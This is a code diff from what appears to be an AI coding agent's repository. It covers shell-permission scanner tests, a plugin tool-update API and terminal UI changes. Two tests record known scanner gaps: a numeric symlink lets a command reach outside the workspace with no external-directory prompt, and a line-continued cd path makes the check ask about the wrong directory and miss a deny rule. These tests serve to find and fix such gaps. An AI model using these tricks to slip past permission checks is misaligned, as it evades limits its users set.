replies: ReadonlyArray<Permission.Reply>,
) =>
Effect.gen(function* () {
const permission = yield* Permission.Service
const bus = yield* Bus.Service
const queue = yield* Queue.unbounded<Permission.Request>()
yield* bus.subscribe(Permission.Event.Asked).pipe(
Stream.runForEach((event) => Queue.offer(queue, event.data)),
Effect.forkScoped({ startImmediately: true }),
)
const execution = yield* executeTool(registry, call({ command }, `call-${Permission.ID.create()}`)).pipe(
Effect.forkScoped,
)
const requests = yield* Effect.forEach(replies, (reply) =>
Effect.gen(function* () {
const request = yield* Queue.take(queue)
expect(yield* permission.forSession(sessionID)).toEqual([request])
expect(yield* Effect.promise(() => Bun.file(marker).exists())).toBe(false)
yield* permission.reply({ requestID: request.id, reply })
return request
}),
)
const exit = yield* Fiber.await(execution)
expect(yield* permission.list()).toEqual([])
expect(yield* Queue.size(queue)).toBe(0)
return { exit, requests }
}).pipe(Effect.scoped, Effect.timeout(Duration.seconds(5)))
// Directory cases still document inherited limitations; fixed scanner cases require matching behavior.
describe("ShellTool scanner permissions", () => {
const test = isWindows || !Bun.which("sh") ? permissionIt.live.skip : permissionIt.live
for (const portable of [false, true]) {
const scanner = portable ? "native" : "legacy"
test(`${scanner}: declarations reuse approvals while substitutions retain reject/once/always behavior`, () =>
withScanner(portable, (registry, fixture) =>
Effect.gen(function* () {
const saved = yield* PermissionSaved.Service
const location = yield* Location.Service
yield* saved.add({ projectID: location.project.id, action: "shell", resources: ["printf *"] })
const marker = path.join(fixture.active, "marker")
const approved = yield* runPermissionCommand(
registry,
"export SCAN_TEST=hello; unset SCAN_TEST; printf hello > marker",
marker,
[],
)
expect(approved.requests).toEqual([])
expect(approved.exit).toMatchObject({
_tag: "Success",
value: { status: "completed", metadata: { exit: 0 } },
})
expect(yield* Effect.promise(() => Bun.file(marker).text())).toBe("hello")
expect((yield* saved.list()).map((item) => item.resource)).toEqual(["printf *"])
yield* Effect.forEach(yield* saved.list(), (item) => saved.remove(item.id))
const command = 'export SCAN_TEST=$(printf hello); printf %s "$SCAN_TEST" > marker'
const prompts: Permission.Request[] = []
for (const reply of ["reject", "once", "always", undefined] as const) {
yield* Effect.promise(() => fs.rm(marker, { force: true }))
const result = yield* runPermissionCommand(registry, command, marker, reply ? [reply] : [])
prompts.push(...result.requests)
if (reply === "reject") {
expect(Exit.isFailure(result.exit)).toBe(true)
if (Exit.isFailure(result.exit))
expect(
result.exit.cause.reasons.some(
(reason) => Cause.isDieReason(reason) && reason.defect instanceof Permission.DeclinedError,
),
).toBe(true)
expect(yield* Effect.promise(() => Bun.file(marker).exists())).toBe(false)
continue
}
expect(result.exit).toMatchObject({
_tag: "Success",
value: { status: "completed", metadata: { exit: 0 } },
})
expect(yield* Effect.promise(() => Bun.file(marker).text())).toBe("hello")
if (reply === "once") expect(yield* saved.list()).toEqual([])
}
expect(prompts).toHaveLength(3)
for (const request of prompts) {
expect(request).toMatchObject({
action: "shell",
resources: ["printf hello", 'printf %s "$SCAN_TEST" > marker'],
save: ["printf *", "printf *"],
})
}
expect((yield* saved.list()).map((item) => item.resource)).toEqual(["printf *"])
const agents = yield* Agent.Service
yield* agents.transform((draft) =>
draft.update(toolIdentity.agent, (agent) => {
agent.permissions = [{ action: "shell", resource: "printf hello", effect: "deny" }]
}),
)
yield* Effect.promise(() => fs.rm(marker))
const denied = yield* runPermissionCommand(registry, command, marker, [])
expect(denied.exit).toMatchObject({
_tag: "Success",
value: { status: "error", error: { message: expect.stringContaining("Permission denied: shell") } },
})
expect(yield* Effect.promise(() => Bun.file(marker).exists())).toBe(false)
}),
))
test(`${scanner}: pipeline redirect preserves exact approval and denial despite broad saved approval`, () =>
withScanner(portable, (registry, fixture) =>
Effect.gen(function* () {
const saved = yield* PermissionSaved.Service
const location = yield* Location.Service
yield* saved.add({ projectID: location.project.id, action: "shell", resources: ["printf hello", "cat"] })
const marker = path.join(fixture.active, "marker")
const command = "printf hello | cat > marker"
const exact = yield* runPermissionCommand(registry, command, marker, [])
expect(exact.requests).toEqual([])
expect(exact.exit).toMatchObject({ _tag: "Success", value: { status: "completed", metadata: { exit: 0 } } })
expect(yield* Effect.promise(() => Bun.file(marker).text())).toBe("hello")
yield* saved.add({ projectID: location.project.id, action: "shell", resources: ["printf *", "cat *"] })
yield* Effect.promise(() => fs.rm(marker))
const broad = yield* runPermissionCommand(registry, command, marker, [])
expect(broad.requests).toEqual([])
expect(broad.exit).toMatchObject({ _tag: "Success", value: { status: "completed", metadata: { exit: 0 } } })
expect(yield* Effect.promise(() => Bun.file(marker).text())).toBe("hello")
const agents = yield* Agent.Service
yield* agents.transform((draft) =>
draft.update(toolIdentity.agent, (agent) => {
agent.permissions = [{ action: "shell", resource: "cat", effect: "deny" }]
}),
)
yield* Effect.promise(() => fs.rm(marker))
const denied = yield* runPermissionCommand(registry, command, marker, [])
expect(denied.requests).toEqual([])
expect(denied.exit).toMatchObject({
_tag: "Success",
value: { status: "error", error: { message: expect.stringContaining("Permission denied: shell") } },
})
expect(yield* Effect.promise(() => Bun.file(marker).exists())).toBe(false)
}),
))
test(`${scanner}: external-directory rejection stops execution before a workspace marker is written`, () =>
withScanner(portable, (registry, fixture) =>
Effect.gen(function* () {
const agents = yield* Agent.Service
yield* agents.transform((draft) =>
draft.update(toolIdentity.agent, (agent) => {
agent.permissions = [{ action: "shell", resource: "*", effect: "allow" }]
}),
)
const marker = path.join(fixture.active, "marker")
const command = `cd '${fixture.outside}' && pwd -P && printf reached > '${marker}'`
for (const reply of ["reject", "once"] as const) {
const result = yield* runPermissionCommand(registry, command, marker, [reply])
expect(result.requests).toMatchObject([
{ action: "external_directory", resources: [path.join(fixture.outside, "*")] },
])
if (reply === "reject") {
expect(Exit.isFailure(result.exit)).toBe(true)
if (Exit.isFailure(result.exit))
expect(
result.exit.cause.reasons.some(
(reason) => Cause.isDieReason(reason) && reason.defect instanceof Permission.DeclinedError,
),
).toBe(true)
expect(yield* Effect.promise(() => Bun.file(marker).exists())).toBe(false)
continue
}
expect(result.exit).toMatchObject({
_tag: "Success",
value: {
status: "completed",
metadata: { exit: 0 },
content: [{ type: "text", text: `${fixture.outside}\n` }, { type: "text" }],
},
})
expect(yield* Effect.promise(() => Bun.file(marker).text())).toBe("reached")
}
}),
))
test(`${scanner}: a numeric symlink operand still reaches outside without an external-directory prompt`, () =>
withScanner(portable, (registry, fixture) =>
Effect.gen(function* () {
yield* Effect.promise(() => fs.symlink(fixture.outside, path.join(fixture.active, "123")))
const agents = yield* Agent.Service
yield* agents.transform((draft) =>
draft.update(toolIdentity.agent, (agent) => {
agent.permissions = [
{ action: "shell", resource: "*", effect: "allow" },
{ action: "external_directory", resource: "*", effect: "deny" },
]
}),
)
const marker = path.join(fixture.active, "marker")
const result = yield* runPermissionCommand(
registry,
`cd 123 && pwd -P && printf reached > '${marker}'`,
marker,
[],
)
expect(result.requests).toEqual([])
expect(result.exit).toMatchObject({
_tag: "Success",
value: {
status: "completed",
metadata: { exit: 0 },
content: [{ type: "text", text: `${fixture.outside}\n` }, { type: "text" }],
},
})
expect(yield* Effect.promise(() => Bun.file(marker).text())).toBe("reached")
}),
))
test(`${scanner}: a continued directory operand asks for the wrong path and misses the destination deny`, () =>
withScanner(portable, (registry, fixture) =>
Effect.gen(function* () {
const agents = yield* Agent.Service
yield* agents.transform((draft) =>
draft.update(toolIdentity.agent, (agent) => {
agent.permissions = [
{ action: "shell", resource: "*", effect: "allow" },
{ action: "external_directory", resource: path.join(fixture.outside, "*"), effect: "deny" },
]
}),
)
const marker = path.join(fixture.active, "marker")
const command = `cd ../out\\\nside && pwd -P && printf reached > '${marker}'`
for (const reply of ["reject", "once"] as const) {
const result = yield* runPermissionCommand(registry, command, marker, [reply])
expect(result.requests).toMatchObject([
{
action: "external_directory",
resources: [
path.join(fixture.active, "..", portable ? "out\\\nside" : "out", "*").replaceAll("\\", "/"),
],
},
])
if (reply === "reject") {
expect(Exit.isFailure(result.exit)).toBe(true)
if (Exit.isFailure(result.exit))
expect(
result.exit.cause.reasons.some(
(reason) => Cause.isDieReason(reason) && reason.defect instanceof Permission.DeclinedError,
),
).toBe(true)
expect(yield* Effect.promise(() => Bun.file(marker).exists())).toBe(false)
continue
}
expect(result.exit).toMatchObject({
_tag: "Success",
value: {
status: "completed",
metadata: { exit: 0 },
content: [{ type: "text", text: `${fixture.outside}\n` }, { type: "text" }],
},
})
expect(yield* Effect.promise(() => Bun.file(marker).text())).toBe("reached")
}
}),
))
}
})
describe("ShellTool ordinary shell syntax", () => {
for (const shell of ["bash", "zsh"]) {
const test = isWindows || !Bun.which(shell) ? permissionIt.live.skip : permissionIt.live
for (const portable of [false, true]) {
for (const fixture of [
{ name: "quoted heredoc", command: "cat <<'EOF'\nhello\nEOF", output: "hello\n", saved: ["cat *"] },
{
name: "heredoc substitution",
command: "cat <<EOF\n$(printf hello)\nEOF",
output: "hello\n",
saved: ["cat *", "printf *"],
},
{
name: "loop with a conditional",
command: 'for value in a b; do if test -n "$value"; then printf %s "$value"; fi; done',
output: "ab",
saved: ["test *", "printf *"],
},
{
name: "function and case",
command: 'greet() { case "$1" in a) printf hello;; *) printf other;; esac; }; greet a',
output: "hello",
saved: ["greet *", "printf *"],
},
{
name: "parameter fallback",
command: 'value=; printf %s "${value:-fallback}"',
output: "fallback",
saved: ["printf *"],
},
{
name: "arithmetic statement",
command: 'count=1; ((count += 1)); printf %s "$count"',
output: "2",
saved: ["((count += 1)) *", "printf *"],
},
{ name: "ANSI-C quoting", command: "printf %s $'a\\nb'", output: "a\nb", saved: ["printf *"] },
]) {
test(`${shell} ${portable ? "native" : "legacy"}: ${fixture.name} reuses existing approvals`, () =>
withScanner(
portable,
(registry, directory) =>
Effect.gen(function* () {
const saved = yield* PermissionSaved.Service
const location = yield* Location.Service
yield* saved.add({ projectID: location.project.id, action: "shell", resources: fixture.saved })
const result = yield* runPermissionCommand(
registry,
fixture.command,
path.join(directory.active, "marker"),
[],
)
expect(result.requests).toEqual([])
expect(result.exit).toMatchObject({
_tag: "Success",
value: {
status: "completed",
metadata: { exit: 0 },
content: [{ type: "text", text: fixture.output }, { type: "text" }],
},
})
}),
shell,
))
}
test(`${shell} ${portable ? "native" : "legacy"}: a loop body deny prevents execution`, () =>
withScanner(
portable,
(registry, directory) =>
Effect.gen(function* () {
const agents = yield* Agent.Service
yield* agents.transform((draft) =>
draft.update(toolIdentity.agent, (agent) => {
agent.permissions = [
{ action: "shell", resource: "*", effect: "allow" },
{ action: "shell", resource: "printf *", effect: "deny" },
]
}),
)
const marker = path.join(directory.active, "marker")
const result = yield* runPermissionCommand(
registry,
"for value in a; do printf body > marker; done",
marker,
[],
)
expect(result.exit).toMatchObject({
_tag: "Success",
value: { status: "error", error: { message: expect.stringContaining("Permission denied: shell") } },
})
expect(yield* Effect.promise(() => Bun.file(marker).exists())).toBe(false)
}),
shell,
))
}
}
const pwsh = process.env.SHELL_SCAN_PWSH ?? Bun.which("pwsh") ?? Bun.which("powershell")
const test = pwsh ? permissionIt.live : permissionIt.live.skip
for (const portable of [false, true]) {
for (const command of [
'Write-Output "$(Write-Output hello)"',
'$value = "hello"; Write-Output $value',
"if ($true) { Write-Output hello } else { Write-Output other }",
"foreach ($value in @('hello')) { Write-Output $value }",
"ForEach-Object { Write-Output hello }",
"function Show-Value { Write-Output hello }; Show-Value",
"Write-Output `\n hello",
"Write-Output @'\nhello\n'@",
]) {
test(`PowerShell ${portable ? "native" : "legacy"}: ordinary syntax reuses approvals: ${command}`, () =>
withScanner(
portable,
(registry, directory) =>
Effect.gen(function* () {
const saved = yield* PermissionSaved.Service
const location = yield* Location.Service
yield* saved.add({
projectID: location.project.id,
action: "shell",
resources: ["Write-Output *", "Show-Value *"],
})
const result = yield* runPermissionCommand(registry, command, path.join(directory.active, "marker"), [])
expect(result.requests).toEqual([])
expect(result.exit).toMatchObject({
_tag: "Success",
value: { status: "completed", metadata: { exit: 0 } },
})
if (Exit.isSuccess(result.exit))
expect(result.exit.value.content?.[0]).toEqual({
type: "text",
text: isWindows ? "hello\r\n" : "hello\n",
})
}),
pwsh ?? "pwsh",
))
}
}
for (const [command, pattern] of [
["Write-Output\thello", "Write-Output\t*"],
["& 'Write-Output' hello", "& 'Write-Output' *"],
["Write-Output `\n hello", "Write-Output *"],
]) {
test(`PowerShell native: always allow covers repeat execution and preserves exact deny: ${command}`, () =>
withScanner(
true,
(registry, directory) =>
Effect.gen(function* () {
const marker = path.join(directory.active, "marker")
const first = yield* runPermissionCommand(registry, command, marker, ["always"])
expect(first.requests).toMatchObject([{ action: "shell", resources: [command], save: [pattern] }])
expect(first.exit).toMatchObject({ _tag: "Success", value: { status: "completed", metadata: { exit: 0 } } })
const repeat = yield* runPermissionCommand(registry, command, marker, [])
expect(repeat.requests).toEqual([])
expect(repeat.exit).toMatchObject({
_tag: "Success",
value: { status: "completed", metadata: { exit: 0 } },
})
const agents = yield* Agent.Service
yield* agents.transform((draft) =>
draft.update(toolIdentity.agent, (agent) => {
agent.permissions = [{ action: "shell", resource: command, effect: "deny" }]
}),
)
const denied = yield* runPermissionCommand(registry, command, marker, [])
expect(denied.exit).toMatchObject({
_tag: "Success",
value: { status: "error", error: { message: expect.stringContaining("Permission denied: shell") } },
})
}),
pwsh ?? "pwsh",
))
}
})
describe("ShellTool", () => {
productionIt.live(
"registers and returns real successful output from the active Location",
@@ -517,30 +1007,106 @@ describe("ShellTool", () => {
{ timeout: 15_000 },
)
it.live("does not add external-directory permission for an experimental portable heredoc", () =>
Effect.acquireUseRelease(
Effect.promise(() => tmpdir()),
(tmp) =>
it.live("exposes malformed native syntax without fallback or partial execution", () =>
Effect.gen(function* () {
if (isWindows) return
for (const portable of [false, true]) {
yield* Effect.acquireUseRelease(
Effect.promise(() => tmpdir()),
(tmp) =>
Effect.gen(function* () {
reset()
yield* Effect.promise(() =>
Bun.write(
path.join(tmp.path, "opencode.json"),
JSON.stringify({ experimental: { portable_shell_scanner: portable } }),
),
)
const settled = yield* withSession(tmp.path, (registry) =>
Effect.gen(function* () {
const selection = yield* ShellSelect.Service
yield* selection.transform((draft) => draft.configure("sh"))
return yield* executeTool(
registry,
call({ command: 'printf hello > marker\necho "' }, "call-portable-malformed"),
)
}),
)
if (portable) {
expect(settled).toMatchObject({
status: "error",
error: { message: expect.stringContaining("unterminated-quote") },
})
expect(assertions).toEqual([])
expect(yield* Effect.promise(() => Bun.file(path.join(tmp.path, "marker")).exists())).toBe(false)
return
}
expect(settled.status).toBe("completed")
expect(settled.metadata?.exit).not.toBe(0)
expect(assertions.map((item) => item.action)).toEqual(["shell"])
expect(yield* Effect.promise(() => Bun.file(path.join(tmp.path, "marker")).text())).toBe("hello")
}),
(tmp) => Effect.promise(() => tmp[Symbol.asyncDispose]().then(() => undefined)),
)
}
}),
)
for (const shell of ["sh", "zsh"]) {
const test = isWindows || !Bun.which(shell) ? it.live.skip : it.live
test(
`preserves arithmetic and directory permissions with scanner flag on and off in ${shell}`,
() =>
Effect.gen(function* () {
if (isWindows) return
reset()
denyAction = "external_directory"
yield* Effect.promise(() =>
Bun.write(
path.join(tmp.path, "opencode.json"),
JSON.stringify({ experimental: { portable_shell_scanner: true } }),
const results = yield* Effect.forEach([false, true], (portable) =>
Effect.acquireUseRelease(
Effect.promise(() => tmpdir()),
(tmp) =>
Effect.gen(function* () {
reset()
yield* Effect.promise(() =>
Bun.write(
path.join(tmp.path, "opencode.json"),
JSON.stringify({ experimental: { portable_shell_scanner: portable } }),
),
)
yield* Effect.promise(() => fs.mkdir(path.join(tmp.path, "one", "two"), { recursive: true }))
yield* withSession(tmp.path, (registry) =>
Effect.gen(function* () {
const selection = yield* ShellSelect.Service
yield* selection.transform((draft) => draft.configure(shell))
for (const [command, output] of [
["echo $((1 + 1))", "2\n"],
["cd ~ && pwd", `${realpathSync(os.homedir())}\n`],
["cd one&&cd two&&pwd", `${path.join(tmp.path, "one", "two")}\n`],
]) {
const settled = yield* executeTool(registry, call({ command }, `call-parity-${command}`))
expect(settled.status).toBe("completed")
expect(settled.metadata).toMatchObject({ exit: 0 })
expect(settled.content?.[0]).toMatchObject({ type: "text", text: output })
}
}),
)
expect(assertions.map((item) => item.action)).toEqual([
"shell",
"external_directory",
"shell",
"shell",
])
expect(assertions[1]?.resources).toEqual([path.join(realpathSync(os.homedir()), "*")])
expect(assertions[0]).toMatchObject({ resources: ["echo $((1 + 1))"], save: ["echo *"] })
expect(assertions[2]).toMatchObject({ resources: ["pwd"], save: ["pwd *"] })
expect(assertions[3]).toMatchObject({ resources: ["pwd"], save: ["pwd *"] })
return assertions.slice()
}),
(tmp) => Effect.promise(() => tmp[Symbol.asyncDispose]().then(() => undefined)),
),
)
const settled = yield* withSession(tmp.path, (registry) =>
executeTool(registry, call({ command: "cat <<'EOF'\nhello\nEOF" }, "call-portable-heredoc")),
)
expect(settled.status).toBe("completed")
expect(assertions.map((item) => item.action)).toEqual(["shell"])
expect(settled.content?.[0]).toMatchObject({ type: "text", text: "hello\n" })
expect(results[1]).toEqual(results[0])
}),
(tmp) => Effect.promise(() => tmp[Symbol.asyncDispose]().then(() => undefined)),
),
)
{ timeout: 15_000 },
)
}
it.live("keeps non-zero exits useful", () =>
Effect.acquireUseRelease(
+5 -1
View File
@@ -2,13 +2,16 @@ import { Tool } from "@opencode-ai/schema/tool"
import type { Agent } from "@opencode-ai/schema/agent"
import type { Session } from "@opencode-ai/schema/session"
import type { SessionMessage } from "@opencode-ai/schema/session-message"
import type { JsonSchema } from "effect"
import type { Effect, JsonSchema, Types } from "effect"
import type { Hooks, Transform } from "./registration.js"
export interface ToolDraft {
add<Input extends Tool.ValueSchema<any>, Output extends Tool.ValueSchema<any> | undefined>(
tool: Tool.Info<Input, Output>,
): void
/** Updates an existing tool; missing IDs are ignored. */
update(id: string, update: (tool: Types.Mutable<Tool.Info>) => void): void
remove(id: string): void
}
export interface ToolHooks {
@@ -48,5 +51,6 @@ export interface ToolFailures extends Record<keyof ToolHooks, unknown> {
export interface ToolDomain {
readonly transform: Transform<ToolDraft>
readonly reload: () => Effect.Effect<void>
readonly hook: Hooks<ToolHooks, ToolFailures>
}
+21
View File
@@ -294,10 +294,31 @@ export function fromPromise(plugin: Plugin) {
scan: (options) => run(host.storage.scan(options)),
},
tool: {
reload: () => run(host.tool.reload()),
transform: (callback) =>
register(
host.tool.transform((draft) =>
callback({
update: (id, update) =>
draft.update(id, (tool) => {
const execute = tool.execute
const value: Info = {
...tool,
execute: (input, context) =>
run(
execute(input, {
...context,
progress: (update) => Effect.promise(() => context.progress(update)),
}),
),
}
update(value)
Object.assign(tool, {
...value,
execute: (input: unknown, context: Tool.Context) => executePromiseTool(value, input, context),
})
}),
remove: (id) => draft.remove(id),
add: (tool: Info) =>
draft.add({
...tool,
+5 -1
View File
@@ -5,7 +5,7 @@ import { Tool } from "@opencode-ai/schema/tool"
import type { Agent } from "@opencode-ai/schema/agent"
import type { Session } from "@opencode-ai/schema/session"
import type { SessionMessage } from "@opencode-ai/schema/session-message"
import type { JsonSchema } from "effect"
import type { JsonSchema, Types } from "effect"
import type { Hooks, Transform } from "./registration.js"
export interface ToolContext extends Omit<Tool.Context, "progress"> {
@@ -26,6 +26,9 @@ interface ToolDraft {
add<Input extends Tool.ValueSchema<any>, Output extends Tool.ValueSchema<any> | undefined>(
tool: Info<Input, Output>,
): void
/** Updates an existing tool; missing IDs are ignored. */
update(id: string, update: (tool: Types.Mutable<Info>) => void): void
remove(id: string): void
}
interface ToolHooks {
@@ -59,5 +62,6 @@ interface ToolHooks {
export interface ToolDomain {
readonly transform: Transform<ToolDraft>
readonly reload: () => Promise<void>
readonly hook: Hooks<ToolHooks>
}
+9 -11
View File
@@ -29,12 +29,10 @@ export function SessionFrame(props: { sessionID: string; verticalTabsWidth: numb
(sessionID) => sessions.refresh(sessionID).catch(() => undefined),
)
const session = () => sessions.get(props.sessionID)
const terminals = () => session()?.terminals ?? []
const selectedTerminal = () => {
if (!config.data.session.terminal) return
const value = session()
if (value?.hidden) return
return value?.terminals.find((terminal) => terminal.id === value.selectedTerminalID) ?? value?.terminals.at(-1)
return value.terminals.find((terminal) => terminal.id === value.selectedTerminalID)
}
createEffect(
on(
@@ -54,7 +52,7 @@ export function SessionFrame(props: { sessionID: string; verticalTabsWidth: numb
const rightPane = createMemo(() => {
if (sidebarOpen() && sidebarVisible()) return "sidebar"
if (selectedTerminal()) return "terminal"
if (sidebarVisible() && !session()?.hidden) return "sidebar"
if (sidebarVisible()) return "sidebar"
})
const toggleSidebar = () => {
batch(() => {
@@ -65,11 +63,11 @@ export function SessionFrame(props: { sessionID: string; verticalTabsWidth: numb
})
.catch(toast.error)
setSidebarOpen(!visible)
if (!visible && selectedTerminal()) void sessions.hideTerminal(props.sessionID).catch(toast.error)
if (!visible && selectedTerminal()) void sessions.selectTerminal(props.sessionID, null).catch(toast.error)
})
}
createEffect(() => {
if (!restoreTerminalFocus() || terminals().length > 0) return
if (!restoreTerminalFocus() || selectedTerminal()) return
setRestoreTerminalFocus(false)
prompt.current?.focus()
})
@@ -139,13 +137,13 @@ export function SessionFrame(props: { sessionID: string; verticalTabsWidth: numb
<Show
when={rightPane() === "sidebar"}
fallback={
<Show keyed when={selectedTerminal()}>
{(terminal) => (
<Show keyed when={selectedTerminal()?.id}>
{(ptyID) => (
<TerminalPane
ptyID={terminal.id}
autoFocus={restoreTerminalFocus() || sessions.shouldFocus(terminal.id)}
ptyID={ptyID}
autoFocus={restoreTerminalFocus() || sessions.shouldFocus(ptyID)}
onAutoFocus={() => {
sessions.clearFocus(terminal.id)
sessions.clearFocus(ptyID)
setRestoreTerminalFocus(false)
}}
onFocusChange={setTerminalFocused}
+2 -2
View File
@@ -330,8 +330,8 @@ function sameSize(first: TerminalSize | undefined, second: TerminalSize | undefi
}
function terminalPalette(theme: ResolvedThemeTokens, mode: "dark" | "light", background: RGBA) {
const base = mode === "dark" ? 500 : 700
const bright = mode === "dark" ? 300 : 500
const base = mode === "dark" ? 200 : 800
const bright = mode === "dark" ? 100 : 900
const colors = [
background,
theme.text.feedback.error.default,
+39 -39
View File
@@ -7,14 +7,8 @@ import { useData } from "./data"
import { useEvent } from "./event"
import { useStorage } from "./storage"
type SessionTerminals = {
terminals: PersistentPtyInfo[]
selectedTerminalID?: string
hidden?: boolean
}
type SessionTerminalsState = {
sessions: Record<string, SessionTerminals>
sessions: Record<string, string | null>
}
export const { use: useSessionTerminals, provider: SessionTerminalsProvider } = createSimpleContext({
@@ -25,56 +19,62 @@ export const { use: useSessionTerminals, provider: SessionTerminalsProvider } =
const data = useData()
const event = useEvent()
const [focus, setFocus] = createSignal<string>()
const [store, update] = useStorage().store<SessionTerminalsState>("session-terminals-v1", {
const storage = useStorage()
const [store, update] = storage.store<SessionTerminalsState>("session-terminal-selection", {
initial: { sessions: {} },
})
const save = (sessionID: string, terminals: PersistentPtyInfo[], selectedTerminalID?: string) =>
update((draft) => {
const current = draft.sessions[sessionID]?.selectedTerminalID
const selected = selectedTerminalID ?? current
draft.sessions[sessionID] = {
terminals,
selectedTerminalID: terminals.some((terminal) => terminal.id === selected) ? selected : terminals.at(-1)?.id,
...(selectedTerminalID === undefined && draft.sessions[sessionID]?.hidden ? { hidden: true } : {}),
}
})
const [terminals, updateTerminals] = storage.memory<Record<string, PersistentPtyInfo[]>>("session-terminals", {
initial: {},
})
const refresh = async (sessionID: string) => {
await save(sessionID, await client.api.experimental.persistentPty.list({ sessionID }))
if (!terminals[sessionID]) updateTerminals((draft) => (draft[sessionID] = []))
const result = await client.api.experimental.persistentPty.list({ sessionID })
updateTerminals((draft) => (draft[sessionID] = result))
const selected = store.sessions[sessionID]
if (!selected || result.some((terminal) => terminal.id === selected)) return
await update((draft) => {
if (draft.sessions[sessionID] !== selected) return
draft.sessions[sessionID] = null
})
}
const selectTerminal = async (sessionID: string, ptyID: string | null) => {
if (ptyID !== null && !terminals[sessionID]?.some((terminal) => terminal.id === ptyID)) return
setFocus(ptyID ?? undefined)
await update((draft) => {
draft.sessions[sessionID] = ptyID
})
}
for (const type of ["persistent-pty.added", "persistent-pty.removed"] as const) {
onCleanup(
event.on(type, (evt) => {
if (!config.session.terminal || !store.sessions[evt.data.sessionID]) return
if (!config.session.terminal || !terminals[evt.data.sessionID]) return
void refresh(evt.data.sessionID).catch((error) =>
console.error("Failed to refresh persistent terminal panes", error),
)
}),
)
}
onCleanup(
event.on("server.connected", () => {
if (!config.session.terminal) return
Object.keys(terminals).forEach((sessionID) => {
void refresh(sessionID).catch((error) => console.error("Failed to refresh persistent terminal panes", error))
})
}),
)
return {
get(sessionID: string) {
return store.sessions[sessionID]
return {
terminals: terminals[sessionID] ?? [],
selectedTerminalID: store.sessions[sessionID] ?? null,
}
},
refresh,
selectTerminal(sessionID: string, ptyID: string) {
setFocus(ptyID)
return update((draft) => {
const session = draft.sessions[sessionID]
if (!session?.terminals.some((terminal) => terminal.id === ptyID)) return
session.selectedTerminalID = ptyID
delete session.hidden
})
},
hideTerminal(sessionID: string) {
return update((draft) => {
const session = draft.sessions[sessionID]
if (session) session.hidden = true
})
},
selectTerminal,
async newTerminal(sessionID: string): Promise<PersistentPtyInfo> {
const session = data.session.get(sessionID)
const terminal = await client.api.experimental.persistentPty.create({
@@ -85,8 +85,8 @@ export const { use: useSessionTerminals, provider: SessionTerminalsProvider } =
title: "Terminal",
env: {},
})
setFocus(terminal.id)
await save(sessionID, await client.api.experimental.persistentPty.list({ sessionID }), terminal.id)
await refresh(sessionID)
await selectTerminal(sessionID, terminal.id)
return terminal
},
shouldFocus(ptyID: string) {
+11 -7
View File
@@ -903,15 +903,19 @@ export function Session(props: {
id: "terminal.toggle",
group: "Session",
run: () => {
const sessionID = route.sessionID
if (props.visibleTerminalID) {
promptRef.current?.focus()
void terminals.hideTerminal(route.sessionID).catch(toast.error)
void terminals.selectTerminal(sessionID, null).catch(toast.error)
} else {
const state = terminals.get(route.sessionID)
const terminal =
state?.terminals.find((item) => item.id === state.selectedTerminalID) ?? state?.terminals.at(-1)
if (terminal) void terminals.selectTerminal(route.sessionID, terminal.id).catch(terminalError)
else void terminals.newTerminal(route.sessionID).catch(terminalError)
void terminals
.refresh(sessionID)
.then(async () => {
const terminal = terminals.get(sessionID).terminals.at(-1)
if (terminal) return terminals.selectTerminal(sessionID, terminal.id)
await terminals.newTerminal(sessionID)
})
.catch(terminalError)
}
dialog.clear()
},
@@ -934,7 +938,7 @@ export function Session(props: {
enabled: props.visibleTerminalID !== undefined,
run: () => {
promptRef.current?.focus()
void terminals.hideTerminal(route.sessionID).catch(toast.error)
void terminals.selectTerminal(route.sessionID, null).catch(toast.error)
dialog.clear()
},
},
@@ -847,13 +847,23 @@ interface ToolDraft {
add<Input extends Tool.ValueSchema<any>, Output extends Tool.ValueSchema<any> | undefined>(
tool: Tool.Info<Input, Output>,
): void
update(id: string, update: (tool: Types.Mutable<Tool.Info>) => void): void
remove(id: string): void
}
interface ToolDomain {
readonly transform: Transform<ToolDraft>
readonly reload: () => Effect.Effect<void>
}
```
`update` and `remove` use the effective registry name, such as `acme_greeting` above, and do nothing for missing tools.
Creating a tool requires `add`, not an agent-style upsert. Updates preserve the name and namespace; assign new schemas
and options to replace them.
As with agents and skills, transforms replay in registration order. Use `yield* ctx.tool.reload()` after external state
changes. `yield* registration.dispose` removes that transform and rebuilds the tools. Scope cleanup does the same.
### VCS
Read repository information, working-copy status, or file diffs.
@@ -783,7 +783,7 @@ interface StorageScanResult {
### Tools
Register tools with a transform.
Register, update, and remove tools with a transform.
```ts
await ctx.tool.transform((draft) => {
@@ -802,9 +802,22 @@ await ctx.tool.transform((draft) => {
return { content: `Hello ${(input as { name: string }).name}!` }
},
})
draft.update("acme_greeting", (tool) => {
tool.description = "Greet someone by name"
})
draft.remove("legacy")
})
```
`update` and `remove` use effective registry names, including the namespace: `acme_greeting` in the example above.
Dots in namespaces and unsupported characters in tool names become `_`.
`update` does nothing when the ID is missing. Unlike agent upserts, creating a tool requires `add` with a complete
definition. Updates preserve the tool's name and namespace; replace its schemas and options by assigning new values.
As with agents and skills, transforms replay in registration order when registered, reloaded, or disposed. Later
transforms see earlier changes. Call `await ctx.tool.reload()` after external state used by a transform changes.
Calling `await registration.dispose()` removes that transform and rebuilds the tools; plugin unload does the same.
#### Reference
Schemas: [`Tool.Content`](/api#schema-Tool.Content), [`Tool.TextContent`](/api#schema-Tool.TextContent),
@@ -813,10 +826,13 @@ Schemas: [`Tool.Content`](/api#schema-Tool.Content), [`Tool.TextContent`](/api#s
```ts
interface ToolContext {
transform(callback: (draft: ToolDraft) => void): Promise<Registration>
reload(): Promise<void>
}
interface ToolDraft {
add(tool: ToolInfo): void
update(id: string, update: (tool: Types.Mutable<ToolInfo>) => void): void
remove(id: string): void
}
```
+11 -4
View File
@@ -140,9 +140,16 @@ permission scanner. The default remains the tree-sitter scanner.
}
```
When enabled, the portable scanner is authoritative and tree-sitter is not
consulted. Unsupported syntax, including heredocs, requests permission for the
original shell command without inferring external directories.
When enabled, shell commands are analyzed only by the portable scanner.
Tree-sitter is not used as a fallback or a second opinion. If the scanner
cannot analyze a command, the shell tool reports a scanner error rather than
silently retrying with Tree-sitter. These failures are experimental parser
gaps to fix, not permission denials.
The flag changes parser selection, not permission policy. Existing rules,
saved approval patterns, and best-effort directory inference continue to apply.
There is no additional approval mode or blanket unknown-directory restriction.
With the flag disabled, the existing Tree-sitter path is unchanged.
## Defaults
@@ -220,7 +227,7 @@ When an `ask` rule matches, clients can reply with:
Saved approvals are durable and project-scoped. They are additional `allow`
rules, but they can never override a configured `deny`. The proposed saved
pattern may be broader than the displayed resource: several tools propose `*`,
shell proposes the exact command text, and skills and subagents propose their
